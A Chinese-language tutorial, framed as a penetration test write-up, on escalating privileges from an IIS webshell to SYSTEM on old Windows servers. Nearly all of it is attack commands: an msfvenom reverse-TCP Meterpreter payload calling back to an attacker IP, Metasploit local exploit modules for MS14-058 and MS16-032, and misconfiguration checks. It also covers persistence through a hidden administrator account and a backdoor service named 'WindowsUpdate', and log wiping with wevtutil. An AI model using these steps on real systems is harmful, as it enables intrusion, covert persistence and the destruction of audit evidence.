从IIS低权限到System老旧Windows服务器提权实战指南老旧Windows服务器在企业内网中依然常见它们往往运行着关键业务系统却因为各种原因未能及时更新补丁。作为一名安全工程师我曾在一次渗透测试中遇到一台Windows Server 2003服务器通过IIS漏洞获得了webshell但权限仅限于IIS应用程序池账户。本文将分享如何在这种场景下通过系统化方法实现权限提升。1. 环境准备与初始访问在开始提权操作前需要做好充分的准备工作。攻击机通常选择Kali Linux因为它预装了Metasploit框架等渗透测试工具。对于老旧Windows服务器以下几个关键点需要特别注意系统版本识别通过systeminfo命令获取详细的系统版本和已安装补丁网络环境确认确保攻击机与目标服务器之间的网络连通性权限初步评估使用whoami和whoami /priv命令确认当前权限级别提示老旧系统往往存在共享目录写入权限问题C:\RECYCLER\、C:\Windows\Temp\等目录通常是可写的理想位置。生成Meterpreter反向TCP载荷的典型命令如下msfvenom -p windows/meterpreter/reverse_tcp LHOST攻击机IP LPORT监听端口 -f exe -o /var/www/html/shell.exe2. 自动化提权尝试与失败分析获得初始shell后第一反应往往是尝试自动化提权。Metasploit提供了getsystem命令它尝试多种技术来提升权限命名管道模拟Named Pipe Impersonation命名管道DLL注入Named Pipe DLL Injection令牌复制Token Duplication服务权限提升Service Permissions常见失败原因分析失败现象可能原因解决方案ERROR: Operation failed: Access is deniedUAC限制尝试绕过UAC或使用其他提权模块No technique worked系统加固手动检查补丁情况Session is not elevated会话问题迁移到稳定进程当getsystem失败时需要转向手动提权路径。这时应该# 查看当前权限 getuid # 检查可用权限 getprivs # 列出进程寻找注入目标 ps3. 补丁分析与漏洞匹配对于老旧Windows系统补丁缺失是最常见的提权突破口。WESngWindows Exploit Suggester - Next Generation是一个强大的工具它能根据systeminfo输出分析缺失的补丁。WESng使用流程在目标机器上执行systeminfo systeminfo.txt将结果文件传输到攻击机运行WESng分析python wes.py systeminfo.txt -m --os Windows Server 2003WESng输出的关键信息包括缺失的KB编号对应特定的安全补丁CVE编号漏洞的唯一标识可利用性评估是否已有公开的利用代码高危漏洞优先级排序内核级漏洞如ms14_058服务漏洞如ms15_051本地提权漏洞如ms16_032第三方软件漏洞4. 手动提权模块选择与利用根据WESng的分析结果可以有针对性地选择Metasploit中的提权模块。以下是针对不同漏洞的典型利用流程4.1 MS14-058内核提权# 搜索相关模块 search ms14_058 # 使用提权模块 use exploit/windows/local/ms14_058_track_popup_menu # 设置会话 set SESSION session_id # 执行攻击 exploit4.2 MS16-032服务提权use exploit/windows/local/ms16_032_secondary_logon_handle set SESSION session_id set LHOST 攻击机IP exploit4.3 其他常见提权技术AlwaysInstallElevated检查注册表中是否启用了非特权安装reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated服务配置不当查找可写服务路径accesschk.exe -uwcqv Authenticated Users *计划任务检查可执行文件权限schtasks /query /fo LIST /v5. 权限维持与清理痕迹成功提权后需要采取措施维持访问权限并清理痕迹持久化技术创建隐藏账户net user /add stealthuser complexpassword$ net localgroup administrators stealthuser /add安装后门服务sc create WindowsUpdate binPath cmd.exe /k C:\backdoor.exe start auto痕迹清理建议删除上传的工具和payload清理事件日志wevtutil cl System wevtutil cl Security wevtutil cl Application恢复修改的注册表项在实际渗透测试中我曾遇到一台Windows Server 2008 R2系统通过分析发现缺失MS15-051补丁使用对应的提权模块成功获得SYSTEM权限。关键是要有耐心逐步排查每个可能的突破口。